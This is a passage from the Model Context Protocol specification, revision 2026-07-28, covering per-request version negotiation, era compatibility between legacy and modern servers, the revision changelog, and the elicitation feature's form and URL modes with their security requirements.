new Streamable HTTP transport.
* If it fails with HTTP status code `400 Bad Request`, `404 Not Found`,
or `405 Method Not Allowed` **and** the response body is not a
recognized modern JSON-RPC error (a modern server returns one for
unsupported version, unknown method, or header-validation failure):
* Issue a GET request to the server URL, expecting that this will open
an SSE stream and return an `endpoint` event as the first event.
* When the `endpoint` event arrives, the client can assume this is a
server running the old HTTP+SSE transport, and should use that
transport for all subsequent communication.
[lifecycle-compat]: /specification/2026-07-28/basic/versioning#backward-compatibility-with-initialization-based-versions
# Versioning and Compatibility
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/versioning
This page defines how a client and server agree on what they are speaking:
the protocol version, declared on every request; optional extensions,
negotiated through capabilities; and interoperability with earlier,
handshake-based protocol revisions.
There is no negotiation handshake. Every request carries its protocol
version, and the server accepts or rejects each request independently:
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: request (with `_meta`)
alt server supports requested version
Server-->>Client: result
else version unsupported
Server-->>Client: UnsupportedProtocolVersionError
Note over Client,Server: Client retries with a mutually supported version
end
```
## Terminology
This page uses the following terms for interoperability across protocol
revisions:
* **Modern**: protocol versions that convey version, identity, and
capabilities as per-request metadata (revision `2026-07-28` and later).
* **Legacy**: protocol versions that establish a session with an
`initialize` handshake (`2025-11-25` and earlier).
* **Dual-era**: an implementation that supports both modern and legacy
versions.
## Protocol Version Negotiation
Every request declares the protocol version it is using in its
[`_meta`](/specification/2026-07-28/basic/index#meta) field. On HTTP, this is
also carried in the
[`MCP-Protocol-Version` header](/specification/2026-07-28/basic/transports/streamable-http#protocol-version-header).
If the server does not implement the requested version (whether the version
is unknown to the server, or is a known version the server has chosen not to
support), it **MUST** respond with an
[`UnsupportedProtocolVersionError`](/specification/2026-07-28/schema#unsupportedprotocolversionerror)
listing the versions it does support:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32022,
"message": "Unsupported protocol version",
"data": {
"supported": ["2026-07-28", "2025-11-25"],
"requested": "1900-01-01"
}
}
}
```
The client **SHOULD** select a mutually supported version from the `supported`
list and retry the request, or surface an error to the user if no compatible
version exists.
Servers **MUST** implement
[`server/discover`](/specification/2026-07-28/server/discover). Clients
**MAY** call it before sending any other requests to learn the server's
supported versions up front, but are not required to: a client is free to
invoke any RPC inline and handle `UnsupportedProtocolVersionError` if its
preferred version is not supported.
## Extension Negotiation
Clients and servers can negotiate support for optional
[extensions](/docs/extensions/overview) beyond the core protocol. Extensions
are advertised in the `extensions` field of capabilities, which is a map of
extension identifiers to per-extension settings objects. Extension identifiers
**MUST** follow the [`_meta` key naming rules](/specification/2026-07-28/basic/index#meta),
with a mandatory prefix.
The following is an example of a client that advertises the
[MCP Apps extension](/extensions/apps/overview) identified as `io.modelcontextprotocol/ui`:
```json theme={null}
{
"capabilities": {
"roots": {},
"extensions": {
"io.modelcontextprotocol/ui": {
"mimeTypes": ["text/html;profile=mcp-app"]
}
}
}
}
```
An example of [Tasks extension](/extensions/tasks/overview) identified as `io.modelcontextprotocol/tasks`:
```json theme={null}
{
"capabilities": {
"tools": {},
"extensions": {
"io.modelcontextprotocol/tasks": {}
}
}
}
```
Each extension specifies the schema of its settings object; an empty object
indicates support with no additional settings.
If one party supports an extension but the other does not, the supporting
party **MUST** either revert to core protocol behavior or reject the request
with an appropriate error. Extensions **SHOULD** document their expected
fallback behavior.
## Backward Compatibility with Initialization-Based Versions
A server that wishes to support both [legacy](#terminology) clients (which
expect an `initialize` handshake) and [modern](#terminology) clients (which
use per-request metadata) **MAY** implement both behaviors.
A client that needs to interoperate with both kinds of servers detects the
server's era with transport-specific mechanics, specified in the binding
pages:
* [stdio](/specification/2026-07-28/basic/transports/stdio#backward-compatibility):
probe with `server/discover` and fall back on any error that is not a
recognized modern error.
* [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http#backward-compatibility):
attempt a modern request and inspect the body of a `400 Bad Request`
before falling back.
In both cases, a recognized modern JSON-RPC error (such as
[`UnsupportedProtocolVersionError`](/specification/2026-07-28/schema#unsupportedprotocolversionerror))
identifies a modern server: the client retries with a supported version
rather than falling back. Anything else identifies a legacy server.
The era determination is a property of the server, not of an individual
request. Clients **SHOULD** cache the result for the lifetime of the server
process (stdio) or origin (HTTP), and **MAY** persist it across restarts of
the same server configuration, re-probing if the cached assumption later
fails.
A server that supports only [modern](#terminology) versions **SHOULD** name
the protocol versions it supports in any error it returns to an `initialize`
request, on any transport: legacy clients have no fall-forward mechanism, and
this message may be the only diagnostic they can surface to users.
### Compatibility Matrix
The following matrix summarizes the expected outcome of every combination of
client and server era:
| Client | Server | Outcome |
| -------- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Modern | Modern | Works. `server/discover` is optional; version mismatches surface as `UnsupportedProtocolVersionError` and the client retries with a mutually supported version. |
| Modern | Legacy | Fails. The server may reject the request with an implementation-defined error, stay silent, or even process an era-ambiguous method under legacy semantics. On stdio, clients **SHOULD** send `server/discover` first to fail deterministically; the client then surfaces an actionable error to the user. |
| Dual-era | Modern | Works. The stdio probe returns a `DiscoverResult` (or `UnsupportedProtocolVersionError`); on HTTP, the first modern request succeeds or returns a modern error. The client stays modern. |
| Dual-era | Legacy | Works. stdio: the probe returns a non-modern error or times out, and the client falls back to `initialize`. HTTP: the modern request returns a `4xx` without a recognized modern error body, and the client falls back to `initialize` (and possibly further to the deprecated HTTP+SSE transport). |
| Legacy | Modern | Fails. stdio: the server rejects `initialize` with a JSON-RPC error; the exact code is implementation-defined (`initialize` is an unknown method and the request also lacks the required `_meta` fields). HTTP: the request is missing the required headers and is rejected per [server validation](/specification/2026-07-28/basic/transports/streamable-http#server-validation) with `400 Bad Request` (a client on the deprecated HTTP+SSE transport fails at its opening `GET` instead). Legacy clients have no fall-forward mechanism. |
| Legacy | Dual-era | Works. The server answers `initialize` and serves the client according to the negotiated legacy revision. |
| Legacy | Legacy | Works according to the legacy revision; out of scope for this document. |
A dual-era **server** selects its behavior from how the client opens:
* A request carrying modern per-request `_meta` is served statelessly
according to this revision.
* An `initialize` request selects legacy semantics, scoped to the stdio
process (stdio) or the session (HTTP), as specified by the negotiated
legacy protocol version.
A dual-era server **MAY** serve both eras concurrently on the same endpoint
or process.
# Key Changes
Source: https://modelcontextprotocol.io/specification/2026-07-28/changelog
This document lists changes made to the Model Context Protocol (MCP) specification since
the previous revision, [2025-11-25](/specification/2025-11-25).
## Major changes
1. Remove protocol-level sessions and the `Mcp-Session-Id` header from the Streamable HTTP transport. List endpoints (`tools/list`, `resources/list`, `prompts/list`) no longer vary per-connection. Servers that need cross-call state use explicit, server-minted handles passed as ordinary tool arguments ([SEP-2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567)).
2. Make MCP stateless: remove the `initialize`/`notifications/initialized` handshake. Every request now carries its protocol version and client capabilities in `_meta` (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientCapabilities`). Clients SHOULD identify themselves on each request (`io.modelcontextprotocol/clientInfo`), and servers SHOULD identify themselves in each result's `_meta` (`io.modelcontextprotocol/serverInfo`). Version mismatches return `UnsupportedProtocolVersionError` ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
3. Add `server/discover`: servers MUST implement this RPC to advertise their supported protocol versions, capabilities, and identity. Clients MAY call it before any other request for up-front version selection, or use it as a backward-compatibility probe on STDIO ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
4. Replace the HTTP GET endpoint and `resources/subscribe`/`resources/unsubscribe` with `subscriptions/listen`: a single long-lived POST-response stream for opted-in server-to-client change notifications. Clients opt in to specific types (`toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, `resourceSubscriptions`); the server acknowledges and tags notifications with `io.modelcontextprotocol/subscriptionId`. Request-scoped notifications such as `notifications/progress` and `notifications/message` continue to flow on the response stream of the request they relate to, not the `subscriptions/listen` stream ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
5. Remove `ping`, `logging/setLevel`, and `notifications/roots/list_changed`. Log level is now set per-request via `io.modelcontextprotocol/logLevel` in `_meta`; servers MUST NOT emit `notifications/message` for requests that did not include this field ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
6. Move experimental tasks out of the core protocol and into an official extension (`io.modelcontextprotocol/tasks`). The redesigned extension replaces the blocking `tasks/result` method with polling via `tasks/get` and a new `tasks/update` for client-to-server input, removes `tasks/list`, and allows servers to return task handles unsolicited without per-request opt-in ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663)).
7. Multi Round-Trip Requests (MRTR) pattern introduced which replaces the previous approach of sending server-initiated requests, such as `roots/list`, `sampling/createMessage`, or `elicitation/create`. Servers return an `InputRequiredResult` (`resultType: "input_required"`) whose `inputRequests` field carries the requests for the additional information needed to process the request. Clients respond with `inputResponses` on a retry of the original request providing the requested information. ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)).
8. All results now carry a required `resultType` field: `"complete"` for ordinary results and `"input_required"` for [multi round-trip request](/specification/2026-07-28/basic/patterns/mrtr) interim results. Clients **MUST** treat results from earlier-protocol servers that omit the field as `"complete"` ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)).
9. Remove SSE stream resumability and message redelivery (the `Last-Event-ID` header and SSE event IDs) from the Streamable HTTP transport. A broken response stream loses the in-flight request; clients **MUST** re-issue it as a new request with a new request ID ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
## Minor changes
1. Add `extensions` field to `ClientCapabilities` and `ServerCapabilities` to support optional [extensions](/docs/extensions/overview) beyond the core protocol.
2. Document OpenTelemetry trace context propagation conventions for `_meta` keys (`traceparent`, `tracestate`, `baggage`) ([SEP-414](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/414)).
3. Servers **SHOULD** return tools from `tools/list` in a deterministic order to enable client-side caching and improve LLM prompt cache hit rates.
4. Require standard MCP request headers (`Mcp-Method`, `Mcp-Name`) on Streamable HTTP POST requests, and add support for custom headers from tool parameters via `x-mcp-header` ([SEP-2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243)).
5. Require `ttlMs` and `cacheScope` fields on results returned by `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list` via a new `CacheableResult` interface. `ttlMs` is a freshness hint (in milliseconds) allowing clients to cache responses and reduce polling; `cacheScope` (`"public"` or `"private"`) controls whether shared intermediaries may cache the response. Both fields complement existing `listChanged` notifications ([SEP-2549](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549)).
6. Change resource not found error code from `-32002` to `-32602` (Invalid Params) to align with JSON-RPC specification.
7. Authorization servers **SHOULD** include the `iss` parameter in authorization responses per
[RFC 9207](https://datatracker.ietf.org/doc/html/rfc9207), and MCP clients **MUST** validate a
present `iss` against the recorded issuer before redeeming the authorization code
([SEP-2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468)).
8. Require MCP clients to specify an appropriate `application_type` during Dynamic Client
Registration to avoid OpenID Connect redirect URI conflicts
([SEP-837](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/837)).
9. Clarify that client credentials are bound to the authorization server that issued them:
clients **MUST** key persisted credentials by the issuer identifier, **MUST NOT** reuse them
with a different authorization server, and **MUST** re-register when the authorization server
changes ([SEP-2352](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2352)).
10. Loosen `inputSchema` and `outputSchema` to allow any JSON Schema 2020-12 keywords, and
`structuredContent` to allow any JSON value. Add `$ref` resolution requirements and
composition-keyword resource bounds
([SEP-2106](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2106)).
11. Remove the `notifications/elicitation/complete` notification and the
`elicitationId` field of URL mode elicitation requests, both introduced in
`2025-11-25`. Under the
[Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr) pattern, the
client learns the outcome of an out-of-band interaction by retrying the original
request, so a server-initiated completion signal — and the identifier used to
correlate it — no longer fit the protocol. Servers needing to correlate an
elicitation across retries encode their own identifier in `requestState`.
12. Define an [error code allocation policy](/specification/2026-07-28/basic/index#error-codes)
partitioning the JSON-RPC server-error range: `-32000` to `-32019` remains
implementation-defined (existing SDK usage is grandfathered), `-32020` to `-32099` is
reserved for the MCP specification. Renumber the error codes introduced in this draft
accordingly — `HeaderMismatch` `-32001` → `-32020`, `MissingRequiredClientCapability`
`-32003` → `-32021`, `UnsupportedProtocolVersion` `-32004` → `-32022` — and add
`HeaderMismatchError` to the schema, which previously existed only in transport prose.
## Deprecated
Features listed here remain part of the specification but are scheduled for removal under the [feature lifecycle and deprecation policy](/community/feature-lifecycle). New implementations should not adopt them. The [deprecated features registry](/specification/2026-07-28/deprecated) tracks every feature currently in the Deprecated state.
1. Deprecate the Roots, Sampling, and Logging features
([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
These features remain fully functional during the deprecation window but new
implementations should not add support for them. Suggested migrations: pass
directories or files via tool parameters, resource URIs, or server
configuration instead of Roots; integrate directly with LLM provider APIs
instead of Sampling; log to `stderr` (stdio) or use OpenTelemetry instead of
Logging.
2. Reclassify the HTTP+SSE transport (deprecated since protocol version
`2025-03-26`) as Deprecated under the feature lifecycle policy
([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
Migrate to [Streamable HTTP](/specification/2026-07-28/basic/transports/streamable-http).
3. Reclassify the `includeContext` values `"thisServer"` and `"allServers"`
(soft-deprecated since protocol version `2025-11-25`) as Deprecated
([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
Omit the field or use `"none"`; these values will be removed no later than
the Sampling feature itself.
4. Deprecate the OAuth 2.0 Dynamic Client Registration Protocol
([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)) as a client registration
mechanism in favor of
[Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents)
([PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858)).
It remains available for backwards compatibility with authorization servers that do
not support Client ID Metadata Documents.
## Other schema changes
1. `schema.json` now correctly reflects that the Typescript definition of minimum/maximum/default are `number`'s and not just `integers`. This was caused by running the generator using `--defaultNumberType integer` ([PR#2710](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2710)).
## Governance and process updates
1. Adopt a specification
[feature lifecycle and deprecation policy](/community/feature-lifecycle)
defining the Active, Deprecated, and Removed feature states, a minimum
twelve-month deprecation window, and a
[registry of deprecated features](/specification/2026-07-28/deprecated)
([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
## Process changes
1. Formalize PR-based SEP workflow with markdown files in `seps/` directory, PR-derived numbering, sponsor responsibilities, and status management via PR labels ([SEP-1850](https://github.com/modelcontextprotocol/specification/pull/1850)).
## Full changelog
For a complete list of all changes that have been made since the last protocol revision,
[see GitHub](https://github.com/modelcontextprotocol/specification/compare/2025-11-25...2026-07-28).
# Elicitation
Source: https://modelcontextprotocol.io/specification/2026-07-28/client/elicitation
The Model Context Protocol (MCP) provides a standardized way for servers to request additional
information from users through the client during interactions. This flow allows clients to
maintain control over user interactions and data sharing while enabling servers to gather
necessary information dynamically.
Elicitation supports two modes:
* **Form mode**: Servers can request structured data from users with optional JSON schemas to validate responses
* **URL mode**: Servers can direct users to external URLs for sensitive interactions that must *not* pass through the MCP client
## User Interaction Model
Elicitation in MCP allows servers to implement interactive workflows by enabling user input
requests to occur *nested* inside other MCP server features.
Implementations are free to expose elicitation through any interface pattern that suits
their needs—the protocol itself does not mandate any specific user interaction
model.
For trust & safety and security:
* Servers **MUST NOT** use form mode elicitation to request sensitive information such as
passwords, API keys, access tokens, or payment credentials
* Servers **MUST** use [URL mode](#url-mode-elicitation-requests) for interactions involving
such sensitive information
"Sensitive information" in this context refers to secrets and credentials that grant access or
authorize transactions. General contact or profile information (such as a name, email address,
or username) is not categorically prohibited; whether to request such data via form mode is at
the discretion of the server and subject to the user's ability to review and decline.
MCP clients **MUST**:
* Provide UI that makes it clear which server is requesting information
* Respect user privacy and provide clear decline and cancel options
* For form mode, allow users to review and modify their responses before sending
* For URL mode, clearly display the target domain/host and gather user consent before navigation to the target URL
## Capabilities
Clients that support elicitation **MUST** declare the `elicitation` capability in
`_meta.io.modelcontextprotocol/clientCapabilities` on each request:
```json theme={null}
{
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {
"form": {},
"url": {}
}
}
}
}
```
For backwards compatibility, an empty capabilities object is equivalent to declaring support for `form` mode only:
```jsonc theme={null}
{
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"elicitation": {}, // Equivalent to { "form": {} }
},
},
}
```
Clients declaring the `elicitation` capability **MUST** support at least one mode (`form` or `url`).
Servers **MUST NOT** send elicitation requests with modes that are not supported by the client.
## Protocol Messages
### Elicitation Requests
Servers **MAY** request information from a user during the processing of a client request, by sending an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult)
containing an `elicitation/create` request.
All elicitation requests **MUST** include the following parameters:
| Name | Type | Options | Description |
| --------- | ------ | ------------- | -------------------------------------------------------------------------------------- |
| `mode` | string | `form`, `url` | The mode of the elicitation. Optional for form mode (defaults to `"form"` if omitted). |
| `message` | string | | A human-readable message explaining why the interaction is needed. |
The `mode` parameter specifies the type of elicitation:
* `"form"`: In-band structured data collection with optional schema validation. Data is exposed to the client.
* `"url"`: Out-of-band interaction via URL navigation. Data (other than the URL itself) is **not** exposed to the client.
For backwards compatibility, servers **MAY** omit the `mode` field for form mode elicitation requests. Clients **MUST** treat requests without a `mode` field as form mode.
### Form Mode Elicitation Requests
Form mode elicitation allows servers to collect structured data directly through the MCP client.
Form mode elicitation requests **MUST** either specify `mode: "form"` or omit the `mode` field, and include these additional parameters:
| Name | Type | Description |
| ----------------- | ------ | -------------------------------------------------------------- |
| `requestedSchema` | object | A JSON Schema defining the structure of the expected response. |
#### Requested Schema
The `requestedSchema` parameter allows servers to define the structure of the expected
response using a restricted subset of JSON Schema.
To simplify client user experience, form mode elicitation schemas are limited to flat objects
with primitive properties only.
The schema is restricted to these primitive types:
1. **String Schema**
```json theme={null}
{
"type": "string",
"title": "Display Name",
"description": "Description text",
"minLength": 3,
"maxLength": 50,
"format": "email",
"default": "user@example.com"
}
```
Supported formats: `email`, `uri`, `date`, `date-time`
2. **Number Schema**
```json theme={null}
{
"type": "number", // or "integer"
"title": "Display Name",
"description": "Description text",
"minimum": 0,
"maximum": 100,
"default": 50
}
```
3. **Boolean Schema**
```json theme={null}
{
"type": "boolean",
"title": "Display Name",
"description": "Description text",
"default": false
}
```
4. **Enum Schema**
Single-select enum (without titles):
```json theme={null}
{
"type": "string",
"title": "Color Selection",
"description": "Choose your favorite color",
"enum": ["Red", "Green", "Blue"],
"default": "Red"
}
```
Single-select enum (with titles):
```json theme={null}
{
"type": "string",
"title": "Color Selection",
"description": "Choose your favorite color",
"oneOf": [
{ "const": "#FF0000", "title": "Red" },
{ "const": "#00FF00", "title": "Green" },
{ "const": "#0000FF", "title": "Blue" }
],
"default": "#FF0000"
}
```
Multi-select enum (without titles):
```json theme={null}
{
"type": "array",
"title": "Color Selection",
"description": "Choose your favorite colors",
"minItems": 1,
"maxItems": 2,
"items": {
"type": "string",
"enum": ["Red", "Green", "Blue"]
},
"default": ["Red", "Green"]
}
```
Multi-select enum (with titles):
```json theme={null}
{
"type": "array",
"title": "Color Selection",
"description": "Choose your favorite colors",
"minItems": 1,
"maxItems": 2,
"items": {
"anyOf": [
{ "const": "#FF0000", "title": "Red" },
{ "const": "#00FF00", "title": "Green" },
{ "const": "#0000FF", "title": "Blue" }
]
},
"default": ["#FF0000", "#00FF00"]
}
```
Clients can use this schema to:
1. Generate appropriate input forms
2. Validate user input before sending
3. Provide better guidance to users
All primitive types support optional default values to provide sensible starting points. Clients that support defaults SHOULD pre-populate form fields with these values.
Note that complex nested structures, arrays of objects (beyond enums), and other advanced JSON Schema features are intentionally not supported to simplify client user experience.
#### Example: Simple Text Request
**Input request (delivered inside [`InputRequiredResult.inputRequests`](/specification/2026-07-28/basic/patterns/mrtr#inputrequests)):**
```json theme={null}
{
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": {
"type": "string"
}
},
"required": ["name"]
}
}
}
```
**Client result (returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"action": "accept",
"content": {
"name": "octocat"
}
}
```
#### Example: Structured Data Request
**Input request (delivered inside `InputRequiredResult.inputRequests`):**
```json theme={null}
{
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your contact information",
"requestedSchema": {
"type": "object",
"properties": {
"name": {
"type": "string",
"description": "Your full name"
},
"email": {
"type": "string",
"format": "email",
"description": "Your email address"
},
"age": {
"type": "number",
"minimum": 18,
"description": "Your age"
}
},
"required": ["name", "email"]
}
}
}
```
**Client result (returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"action": "accept",
"content": {
"name": "Monalisa Octocat",
"email": "octocat@github.com",
"age": 30
}
}
```
### URL Mode Elicitation Requests
**New feature:** URL mode elicitation is introduced in the `2025-11-25` version of the MCP specification. Its design and implementation may change in future protocol revisions.
URL mode elicitation enables servers to direct users to external URLs for out-of-band interactions that must not pass through the MCP client. This is essential for auth flows, payment processing, and other sensitive or secure operations.
URL mode elicitation requests **MUST** specify `mode: "url"`, a `message`, and include these additional parameters:
| Name | Type | Description |
| ----- | ------ | ----------------------------------------- |
| `url` | string | The URL that the user should navigate to. |
The `url` parameter **MUST** contain a valid URL.
**Important**: URL mode elicitation is *not* for authorizing the MCP client's
access to the MCP server (that's handled by [MCP
authorization](../basic/authorization)). Instead, it's used when the MCP
server needs to obtain sensitive information or third-party authorization on
behalf of the user. The MCP client's bearer token remains unchanged. The
client's only responsibility is to provide the user with context about the
elicitation URL the server wants them to open.
#### Example: Request Sensitive Data
This example shows a URL mode elicitation request directing the user to a secure URL where they can provide sensitive information (an API key, for example).
The same request could direct the user into an OAuth authorization flow, or a payment flow. The only difference is the URL and the message.
**Input request (delivered inside `InputRequiredResult.inputRequests`):**
```json theme={null}
{
"method": "elicitation/create",
"params": {
"mode": "url",
"url": "https://mcp.example.com/ui/set_api_key",
"message": "Please provide your API key to continue."
}
}
```
**Client result (returned inside `inputResponses` on the retried request):**
```json theme={null}
{
"action": "accept"
}
```
The response with `action: "accept"` indicates that the user has consented to the
interaction. It does not mean that the interaction is complete. The interaction occurs out
of band and the client is not directly informed of the outcome. When the client retries
the original request, the server determines from the echoed `requestState` (or its own
stored state) whether the out-of-band interaction has completed, and either returns the
final result or responds with another `InputRequiredResult`. Clients **SHOULD** provide
manual controls that let the user retry or cancel the original request (or otherwise
resume interacting with the client).
## Message Flow
### Form Mode Flow
```mermaid theme={null}
sequenceDiagram
participant User
participant Client
participant Server
Client->>Server: tools/call(id: 1)
note over Server: Server needs more info
Server-->>Client: InputRequiredResult(elicitation/create (mode: form))
Note over User,Client: Present elicitation UI
User-->>Client: Provide requested information
Note over Server,Client: Retry request with new information
Client->>Server: tools/call(id: 2, user response)
Server-->>Client: Result(id: 2, result)
```
### URL Mode Flow
```mermaid theme={null}
sequenceDiagram
participant UserAgent as User Agent (Browser)
participant User
participant Client
participant Server
Client->>Server: tools/call(id: 1)
Note over Server: Server needs more info Server creates requestState encoding url info.
Server-->>Client: InputRequiredResult(elicitation/create (mode: url), requestState)
Client->>User: Present consent to open URL
User-->>Client: Provide consent
Client->>UserAgent: Open URL
Client->>Server: tools/call(id: 2, Accept Response, requestState))
Note over Server: Server uses requestState to discover url info. It may need to block until the request is fulfilled.
Note over User,UserAgent: User interaction
UserAgent-->>Server: Interaction complete
Note over Server: Continue processing with new information
Server-->Client: Result(id: 2, result)
```
## Response Actions
Elicitation responses use a three-action model to clearly distinguish between different user actions. These actions apply to both form and URL elicitation modes.
```json theme={null}
{
"action": "accept", // or "decline" or "cancel"
"content": {
"propertyName": "value",
"anotherProperty": 42
}
}
```
The three response actions are:
1. **Accept** (`action: "accept"`): User explicitly approved and submitted with data
* For form mode: The `content` field contains the submitted data matching the requested schema
* For URL mode: The `content` field is omitted
* Example: User clicked "Submit", "OK", "Confirm", etc.
2. **Decline** (`action: "decline"`): User explicitly declined the request
* The `content` field is typically omitted
* Example: User clicked "Reject", "Decline", "No", etc.
3. **Cancel** (`action: "cancel"`): User dismissed without making an explicit choice
* The `content` field is typically omitted
* Example: User closed the dialog, clicked outside, pressed Escape, browser failed to load, etc.
Servers should handle each state appropriately:
* **Accept**: Process the submitted data
* **Decline**: Handle explicit decline (e.g., offer alternatives)
* **Cancel**: Handle dismissal (e.g., prompt again later)
## Implementation Considerations
### Statefulness
Elicitations do not require that the server maintain state about users with the [multi round-trip requests](/specification/2026-07-28/basic/patterns/mrtr#multi-round-trip-requests) mechanism.
However, if state is stored, servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](/docs/2026-07-28/tutorials/security/security_best_practices) document. Specifically:
* State storage **MUST** be protected against unauthorized access
* For remote MCP servers, user identification **MUST** be derived from credentials acquired via [MCP authorization](../basic/authorization) when possible (e.g. `sub` claim)
The examples in this section are non-normative and illustrate potential uses
of elicitation. Implementers should adapt these patterns to their specific
requirements while maintaining security best practices.
### URL Mode Elicitation for Sensitive Data
For servers that interact with external APIs requiring sensitive information (e.g., credentials, payment information), URL mode elicitation provides a secure mechanism for users to provide this information without exposing it to the MCP client.
In this pattern:
1. The server directs users to a secure web page (served over HTTPS)
2. The page presents a branded form UI on a domain the user trusts
3. Users enter sensitive credentials directly into the secure form
4. The server stores credentials securely, bound to the user's identity
5. Subsequent MCP requests use these stored credentials for API access
This approach ensures that sensitive credentials never pass through the LLM context, MCP client or any intermediate MCP servers, reducing the risk of exposure through client-side logging or other attack vectors.
### URL Mode Elicitation for OAuth Flows
URL mode elicitation enables a pattern where MCP servers act as OAuth clients to third-party resource servers.
Authorization with external APIs enabled by URL mode elicitation is separate from [MCP authorization](../basic/authorization). MCP servers **MUST NOT** rely on URL mode elicitation to authorize users for themselves.
#### Understanding the Distinction
* **MCP Authorization**: Required OAuth flow between the MCP client and MCP server (covered in the [authorization specification](../basic/authorization))
* **External (third-party) Authorization**: Optional authorization between the MCP server and a third-party resource server, initiated via URL mode elicitation
In external authorization, the server acts as both:
* An OAuth resource server (to the MCP client)
* An OAuth client (to the third-party resource server)
Example scenario:
* An MCP client connects to an MCP server
* The MCP server integrates with various different third-party services
* When the MCP client calls a tool that requires access to a third-party service, the MCP server needs credentials for that service
The critical security requirements are:
1. **The third-party credentials MUST NOT transit through the MCP client**: The client must never see third-party credentials to protect the security boundary
2. **The MCP server MUST NOT use the client's credentials for the third-party service**: That would be [token passthrough](/docs/2026-07-28/tutorials/security/security_best_practices#token-passthrough), which is forbidden
3. **The user MUST authorize the MCP server directly**: The interaction happens outside the MCP protocol, without involving the MCP client
4. **The MCP server is responsible for tokens**: The MCP server is responsible for storing and managing the third-party tokens obtained through the URL mode elicitation (in other words, the MCP server must be stateful).
Credentials obtained via URL mode elicitation are distinct from the MCP server credentials used by the MCP client. The MCP server **MUST NOT** transmit credentials obtained through URL mode elicitation to the MCP client.
For additional background, refer to the [token passthrough
section](/docs/2026-07-28/tutorials/security/security_best_practices#token-passthrough)
of the Security Best Practices document to understand why MCP servers cannot
act as pass-through proxies.
#### Implementation Pattern
When implementing external authorization via URL mode elicitation:
1. The MCP server generates an authorization URL, acting as an OAuth client to the third-party service
2. The MCP server stores internal state that associates (binds) the elicitation request with the user's identity.
3. The MCP server sends a URL mode elicitation request to the client with a URL that can start the authorization flow and an optional `requestState` that encodes information about the elicitation request and user (if needed).
4. The user completes the OAuth flow directly with the third-party authorization server
5. The third-party authorization server redirects back to the MCP server
6. The MCP server securely stores the third-party tokens, bound to the user's identity
7. Future MCP requests can leverage these stored tokens for API access to the third-party resource server
The following is a non-normative example of how this pattern could be implemented:
```mermaid theme={null}
sequenceDiagram
participant User
participant UserAgent as User Agent (Browser)
participant 3AS as 3rd Party AS
participant 3RS as 3rd Party RS
participant Client as MCP Client
participant Server as MCP Server
Client->>Server: tools/call
Note over Server: Needs 3rd-party authorization for user
Note over Server: Store state (bind the elicitation request to the user)
Note over Server: generate requestState that encodes information about the original request and user.
Server->>Client: InputRequiredResult (mode: "url", url: "https://mcp.example.com/connect?...", requestState)
Client->>User: Present consent to open URL
User->>Client: Provide consent
Client->>UserAgent: Open URL
Client->>Server: Accept response
UserAgent->>Server: Load connect route
Note over Server: Confirm: user is logged into MCP Server or MCP AS Confirm: elicitation user matches session user
Server->>UserAgent: Redirect to third-party authorization endpoint
UserAgent->>3AS: Load authorize route
Note over 3AS,User: User interaction (OAuth flow): User consents to scoped MCP Server access
3AS->>UserAgent: redirect to MCP Server's redirect_uri
UserAgent->>Server: load redirect_uri page
Note over Server: Confirm: redirect_uri belongs to MCP Server
Server->>3AS: Exchange authorization code for OAuth tokens
3AS->>Server: Grants tokens
Note over Server: Bind tokens to MCP user identity
Client->>Server: tools/call (ElicitResults, requestState)
Note over Server: Retrieve token bound to user identity
Server->>3RS: Call 3rd-party API
```
This pattern maintains clear security boundaries while enabling rich integrations with third-party services that require user authorization.
## Error Handling
Servers **SHOULD NOT** assume that elicitation requests will always succeed, and **MUST** handle cases where the user declines or cancels the elicitation, or where the client fails to process the request.
## Security Considerations
1. Servers **MUST** bind elicitation requests to the client and user identity
2. Clients **MUST** provide clear indication of which server is requesting information
